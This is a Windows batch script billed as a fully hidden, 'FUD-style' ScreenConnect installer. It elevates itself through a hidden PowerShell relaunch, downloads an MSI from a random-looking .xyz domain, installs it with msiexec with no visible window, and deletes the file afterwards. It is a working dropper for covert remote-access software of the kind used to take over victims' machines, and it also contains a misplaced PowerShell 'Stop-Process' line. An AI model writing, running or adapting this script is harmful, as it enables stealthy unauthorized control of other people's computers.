@echo off
:: ScreenConnect Silent Installer – Fully Hidden (FUD-style)
:: Usage: Double-click, click "Yes" on UAC, then nothing appears – installation runs in background.

:: If already elevated, skip to main routine
net session >nul 2>&1 && goto :main

:: Not admin – relaunch hidden with UAC via PowerShell
powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"%~f0\"' -Verb RunAs"
exit /b

:main
:: ====== ELEVATED AND HIDDEN FROM HERE ======
:: CD to temp folder
cd /d "%temp%"

:: Set variables (no output)
set "MSI_URL= https://lxqwmzte.xyz/install.php"
set "TEMP_MSI=%temp%\SC_%random%.msi"
set "LOG=%temp%\SC_install.log"

:: Download MSI silently using PowerShell (TLS 1.2)
powershell -NoProfile -ExecutionPolicy Bypass -Command "$wc=New-Object Net.WebClient; [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; try{$wc.DownloadFile('%MSI_URL%','%TEMP_MSI%')}catch{exit 1}" >nul 2>&1

:: If download failed, exit silently
if not exist "%TEMP_MSI%" exit /b 1

:: Install MSI completely silently (no windows, no prompts)
msiexec /i "%TEMP_MSI%" /quiet /qn /norestart /l*v "%LOG%" >nul 2>&1
Stop-Process -Name cmd -Force
:: Clean up
del /f /q "%TEMP_MSI%" >nul 2>&1
echo Installing application...
:: Exit without any window or pause
exit /b

